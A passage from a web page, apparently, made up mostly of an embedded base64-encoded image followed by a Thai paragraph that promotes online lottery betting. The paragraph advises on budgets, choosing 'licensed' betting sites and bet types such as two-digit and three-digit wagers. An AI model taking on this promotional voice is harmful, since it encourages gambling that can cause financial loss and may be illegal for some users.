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VxXAXG3X5n9BH89e8IbEiH4n/damNA5TnFJFeivKKkUayNFY0UJbWVe1hXtCLRXuaxr2hIss15msa9oQvc17msaM0IWWa8JryvKELLNGaxooQss17msK9zQhZZr3NYUZoQsiaxozXlCF7RXlFCFlRWNFCW17WWawooQCsia7rK98j9hpPooSJb96rnvZsik8SGgyUIXqnFZGatWaM0IW3vaO9rVmjNFIW3va976tOaM0lIXR31Y99WnNGaKQt3e0CStOaM0Uhd8ctDS1w66C1IWp2pd3fV6stcGqjVSaEal1wyYY1ncTbr8CK4Q1BenUktLXvdchmFcPemsdVKkSgJ6DcUn5o1UlJbSgLijvxSfqo1UUi12yuD51pCD1rRqo1UqRb2Qev5q2xaR51x6qM0JV3rKtexTjI/v5fOk/NehqEWsaKKKEiKKKKEIooooQiiiihCKKKKEIooooQiiiihCKKKKEIooooQiiiihCKKKKEIooooQiiiihCKKKKEIooooQiiiihCKKKKEIooooQiiiihCKKKKEIooooQiiiihCKKKKEIooooQiiiihCKKKKEIooooQiiiihCKKKKEIooooQiiiihCKKKKEIooooQiiiihCKKKKEIooooQiiiihCKKKKEIooooQiiiihCKKKKEIooooQiiiihCKKKKEIooooQiiiihCKKKKEIooooQiiiihCKKKKEIooooQiiiihCKKKKEIooooQiiiihCKKKKEIooooQiiiihCKKKKEIooooQiiiihCKKKKEIooooQiiiihCKKKKEIooooQiiiihCKKKKEIooooQiiiihCKKKKEIooooQiiiihCKKKKEIooooQiiiihCKKKKEIooooQiiiihCKKKKEIooooQiiiihCKKKKEIooooQiiiihCKKKKEIooooQiiiihCKKKKEIooooQv/9k="/></p>
<p>การเริ่มต้นแทงเลขออนไลน์อย่างมืออาชีพไม่ได้เริ่มที่การเลือกเลขเด็ด แต่เริ่มที่การวางระบบการเงินและวินัยในการเล่นที่ชัดเจน ประการแรก กำหนดงบประมาณที่เสียได้โดยไม่กระทบชีวิตประจำวัน แยกบัญชีสำหรับการเล่นโดยเฉพาะ และตั้งวงเงินต่อวันต่อสัปดาห์ไว้ล่วงหน้า ประการที่สอง เลือกเว็บไซต์ที่มีใบอนุญาตถูกต้องตามกฎหมาย ตรวจสอบระบบฝาก-ถอนอัตโนมัติ และอ่านเงื่อนไขการจ่ายเงินให้ละเอียดก่อนสมัคร จากนั้นศึกษารูปแบบการเดิมพัน เช่น สองตัวบน สามตัวโต๊ด หรือวิ่งบน-ล่าง เพื่อเลือกความเสี่ยงที่เหมาะกับตัวเอง 